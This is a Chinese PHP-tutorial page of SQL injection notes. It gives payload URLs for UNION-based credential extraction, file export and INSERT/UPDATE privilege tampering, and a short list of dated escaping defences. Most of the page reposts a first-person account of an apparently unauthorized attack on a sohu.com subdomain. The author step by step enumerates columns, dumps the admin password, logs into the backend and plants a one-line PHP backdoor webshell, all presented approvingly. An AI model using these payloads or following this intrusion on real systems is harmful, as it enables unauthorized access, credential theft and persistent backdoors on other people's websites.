PHP的SQL注入过程分析


Posted in PHP onJanuary 06, 2012

今天从网上学习了有关SQL注入的基本技能。SQL注入的重点就是构造SQL语句,只有灵活的运用SQL

语句才能构造出牛比的注入字符串。学完之后写了点笔记,已备随时使用。希望你在看下面内容时先了

解SQL的基本原理。笔记中的代码来自网络。
  ===基础部分===

本表查询:

http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6

http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m

Union联合语句:

http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*

http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*

导出文件:

http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt

http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt

http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt

INSERT语句:

INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');

构造homepage值为:http://4ngel.net', '3')#

SQL语句变为:INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3')#', '1');

UPDATE语句:我喜欢这样个东西

先理解这句SQL

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'

如果此SQL被修改成以下形式,就实现了注入

1:修改homepage值为

http://4ngel.net', userlevel='3

之后SQL语句变为

UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id'

userlevel为用户级别

2:修改password值为

mypass)' WHERE username='admin'#

之后SQL语句变为

UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'

3:修改id值为

' OR username='admin'

之后SQL语句变为

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'
  ===高级部分===

常用的MySQL内置函数

DATABASE()

USER()

SYSTEM_USER()

SESSION_USER()

CURRENT_USER()

database()

version()

SUBSTRING()

MID()

char()

load_file()

……

函数应用

UPDATE article SET title=DATABASE() WHERE id=1

http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()

SELECT * FROM user WHERE username=char(97,110,103,101,108)

# char(97,110,103,101,108) 相当于angel,十进制

http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)

http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111

确定数据结构的字段个数及类型

http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1

http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)

猜数据表名

http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members

跨表查询得到用户名和密码

http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

其他

#验证第一位密码

http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49

===注入防范===

服务器方面

magic_quotes_gpc设置为On

display_errors设置为Off

编码方面

$keywords = addslashes($keywords);

$keywords = str_replace("_","\_",$keywords);

$keywords = str_replace("%","\%",$keywords);

数值类型

使用intval()抓换

字符串类型

SQL语句参数中要添加单引号

下面代码,用于防治注入

if (get_magic_quotes_gpc()) {

//....

}else{

$str = mysql_real_escape_string($str);

$keywords = str_replace("_","\_",$keywords);

$keywords = str_replace("%","\%",$keywords);

}

有用的函数

stripslashes()

get_magic_quotes_gpc()

mysql_real_escape_string()

strip_tags()

array_map()

addslashes()

参考文章:

http://www.4ngel.net/article/36.htm (SQL Injection with MySQL)中文

http://www.phpe.net/mysql_manual/06-4.html(MYSQL语句参考)

对sohu.com的一次安全检测

已发表于黑客防线

发布在http://www.loveshell.net

sohu.com是国内一家比较大的门户网站,提供了包括邮箱在内的很多服务。这么大的一个网站,不出问题是很难的,俗话说服务越多越不安全嘛!无论是对 于服务器还是网站都是这个道理,最近学习Mysql注入,于是顺便就对sohu.com做了一次小小的安全检测,看看它存不存在SQL注入漏洞。

看看sohu.com的主站发现差不多都是静态的,于是放弃了在主站上找问题的想法。直接在sohu.com的各个分站上浏览了一圈后发现,大部分网站采 用的都是Php脚本,也有少数用的是jsp脚本,根据经验我们知道,对于Php构建的系统,一般后台数据库都是Mysql,就好象asp对应着Mssql一样,看来可能存在问题的地方还是很多的。由于Php的特性(Php默认将传递的参数中的'等字符做了转换,所以对于字符类型的变量默认情况下很难注 入),一般情况下我们注入的只能是数字类型的变量了。根据平时注入的知识,我们知道id=XXX这样的形式传递的参数一般都是数字类型的变量,所以我们只 要去测试那些php?id=XXX的连接就可能找到漏洞了!通过一番仔细的搜索,还真让我在XXX.it.sohu.com上找到了一个存在问题的连接http://XXX.it.sohu.com/book/serialize.php?id=86

提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=1/*

返回正常如图1。

然后提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2/*

返回没有信息如图2,空空的吧,应该是SQL语句结果为空了。

通过这两个Url我们可以猜测漏洞是存在的,因为我们提交的and 1=1和and 1=2都被当作Sql语句执行啦!那么我们提交的其他语句也是可以执行的,这就是Sql注入了!我们还可以知道id这个变量是被当作数字处理的,没有放到 ''之间,否则我们是成功不了的哦!如果变量没有过滤Sql其他关键字的话,我们就很有可能成功啦!我遇到很多的情况都是变量过滤了select,在 mysql里就是死路了,好郁闷!

既然漏洞是存在的,让我们继续吧!首先当然是探测数据库的类型和连接数据库的帐户啦!权限高并且数据库和web同机器的话可以免除猜测字段的痛苦啦!提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 and ord(mid(version(),1,1))>51/*

返回正常如图3,这个语句是看数据库的版本是不是高于3的,因为3的ASCII是51嘛!版本的第一个字符是大于51的话当然就是4.0以上啦!4.0以 上是支持union查询的,这样就可以免除一位一位猜测的痛苦哦!这里结果为真,所以数据库是4.0以上的哦,可以支持union了。

既然支持union查询就先把这个语句的字段给暴出来吧!以后再用union查询什么都是很快的哦!提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 order by 10/*

返回结果正常如图4,看来字段是大于10个的,继续提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 order by 20/*

正常返回,提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 order by 30/*

......

到order by 50的时候返回没有信息了!看来是大于40的小于50的,于是提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 order by 45/*

......

终于猜测到字段是41左右啦!这里说是左右是因为有些字段是不能排序的,所以还需要我们用union精确定位字段数字是41,提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*

返回结果如图5,哈哈,成功了哦!哪些字段会在页面显示也是一目了然了!现在让我们继续吧!提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*

返回结果如图6,完成了数据库系统的探测哦!我们很有可能不是root,并且数据库服务器和web也很有可能不是在一台服务器,这样的话我们就没有file权限了!提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 and (select count(*) from mysql.user)>0/*

返回结果如图7,没有对mysql的读取权限,更加确定权限不是root了!呵呵!

既然不是root,也不要气馁,让我们继续吧!在进一步猜测数据之前我们最好找下后台先,很多时候找到了管理员密码却找不到地方登陆,很郁闷的说!在根目 录下加/admin和/manage/等等后台常用的地址都是返回404错误,猜测了几次终于在/book/目录下admin的时候出现了403 Forbiden错误,哈哈,是存在这个目录的!但是登陆页面死活也猜不出来,郁闷中!不过既然知道有个admin也好说,去Google里搜索:

admin site:sohu.com

如图8,得到了另外一个分站的论坛,我们知道人是很懒惰的,通常一个地方的后台的特征就很可能是整个网站的特征,所以当我尝试访问/book/admin /admuser.php的时候奇迹出现了,如图9,哈哈,离成功更近了哦!到这里我们知道了网站的后台,其实我们还可以得到很重要的信息,查看原文件发 现登陆表单的名字是name和password,很容易推测出对方管理员表中的结构,即使不符合估计也差不多,呵呵!所以知道为什么我们要先猜测后台了 吧!继续注入吧!提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from admin/*

返回错误,说明不存在admin这个表,尝试admins以及admin_user等等,最后提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*

的时候返回成功,哈哈!有User这个表!那么是不是管理员表呢?字段又是什么呢?继续提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*

返回空信息的错误,提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*

返回结果如图10,哈哈正常返回并且出来了一个密码,应该是管理员表里第一个用户的密码!那么他的用户名字是什么呢?猜测很多字段都是返回错误,实在没有办法的时候输入一个ID,居然返回成功了!ID就是管理员的名字哦!提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,password,3,4,id,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*

返回结果如图11,哈哈,得到管理员的名字了哦!激动地拿着管理员名字和密码去后台登陆成功了哦!如图12。现在是想想怎么拿webshell的时候了, 在后台发现有上传图片的地方,但是当上传php文件的时候提示说不是图片文件,郁闷了!在后台仔细的乱七八糟的乱翻了会,发现有个生成php文件的功能, 于是在里面插入了一句话的php后门,如图13,点生成之后提示成功了,看来如果没有过滤的话我们应该是得到webshell了,密码是a,用一句 话后门连上去如图14,哈哈,成功了!脚本检测到此圆满完成!

在得到webshell之后我上服务器上看了看,发现服务器的安全是做得不错,执行不了命令,并且基本上所有的目录除了我们刚才上传的目录之外都是不可写 的,不过作为脚本测试,得到了webshell也就算成功了吧!也可以看出,小小的一个参数没有过滤就可以导致网站的沦陷,特别是像sohu.com这样 的大站,参数更多,更加要注意过滤方面的问题哦!

PHP 相关文章推荐
php更改目录及子目录下所有的文件后缀的代码
Sep 24 PHP
php并发对MYSQL造成压力的解决方法
Feb 21 PHP
PHP 数组和字符串互相转换实现方法
Mar 26 PHP
php几个预定义变量$_SERVER用法小结
Nov 07 PHP
php实现有趣的人品测试程序实例
Jun 08 PHP
解析WordPress中函数钩子hook的作用及基本用法
Dec 22 PHP
PHP中new static()与new self()的比较
Aug 19 PHP
php版微信开发Token验证失败或请求URL超时问题的解决方法
Sep 23 PHP
PHP数据库处理封装类实例
Dec 24 PHP
php 可变函数使用小结
Jun 12 PHP
PHP设计模式之观察者模式定义与用法分析
Apr 04 PHP
tp5(thinkPHP5框架)时间查询操作实例分析
May 29 PHP
超级实用的7个PHP代码片段分享
Jan 05 #PHP
php中使用parse_url()对网址进行解析的实现代码(parse_url详解)
Jan 03 #PHP
选择PHP作为网站开发语言的原因分享
Jan 03 #PHP
php 数组动态添加实现代码(最土团购系统的价格排序)
Dec 30 #PHP
第七章 php自定义函数实现代码
Dec 30 #PHP
第六章 php目录与文件操作
Dec 30 #PHP
第五章 php数组操作
Dec 30 #PHP
You might like
解析crontab php自动运行的方法
2013/06/24 PHP
简单实用的网站PHP缓存类实例
2014/07/18 PHP
简单谈谈 php 文件锁
2017/02/19 PHP
jquery $.ajax入门应用二
2008/11/19 Javascript
jQuery 动画基础教程
2008/12/25 Javascript
ExtJS 2.0实用简明教程 之获得ExtJS
2009/04/29 Javascript
js 绑定带参数的事件以及手动触发事件
2010/04/27 Javascript
jquery 学习之二 属性 文本与值(text,val)
2010/11/25 Javascript
无限树Jquery插件zTree的常用功能特性总结
2014/09/11 Javascript
基于jQuery实现文本框缩放以及上下移动功能
2014/11/24 Javascript
JavaScript原生对象之Date对象的属性和方法详解
2015/03/13 Javascript
jQuery结合CSS制作漂亮的select下拉菜单
2015/05/03 Javascript
jquery插件jSignature实现手动签名
2015/05/04 Javascript
由ReactJS的Hello world说开来
2015/07/02 Javascript
Vue学习笔记进阶篇之多元素及多组件过渡
2017/07/19 Javascript
使用vue.js在页面内组件监听scroll事件的方法
2018/09/11 Javascript
JavaScript如何处理移动端拍摄图片旋转问题
2019/11/16 Javascript
Vue+Element实现网页版个人简历系统(推荐)
2019/12/31 Javascript
vue 解决uglifyjs-webpack-plugin打包出现报错的问题
2020/08/04 Javascript
[13:18]《一刀刀一天》之DOTA全时刻21:详解TI新赛制 A队再露獠牙
2014/06/24 DOTA
Python爬虫利用cookie实现模拟登陆实例详解
2017/01/12 Python
Python爬虫之网页图片抓取的方法
2018/07/16 Python
pyttsx3实现中文文字转语音的方法
2018/12/24 Python
python实现诗歌游戏(类继承)
2019/02/26 Python
python地震数据可视化详解
2019/06/18 Python
python Django 创建应用过程图示详解
2019/07/29 Python
tensorflow生成多个tfrecord文件实例
2020/02/17 Python
解决Python logging模块无法正常输出日志的问题
2020/02/21 Python
canvas实现图片马赛克的示例代码
2018/03/26 HTML / CSS
如何在Canvas中添加事件的方法示例
2019/05/21 HTML / CSS
最耐用行李箱,一箱永流传:Briggs & Riley(全球终身保修)
2017/12/07 全球购物
医学专业大学生求职的自我评价
2013/11/27 职场文书
2014年教师节演讲稿范文
2014/09/10 职场文书
法定代表人资格证明书
2014/09/11 职场文书
车辆委托书范本
2014/10/05 职场文书
MongoDB日志切割的三种方式总结
2021/09/15 MongoDB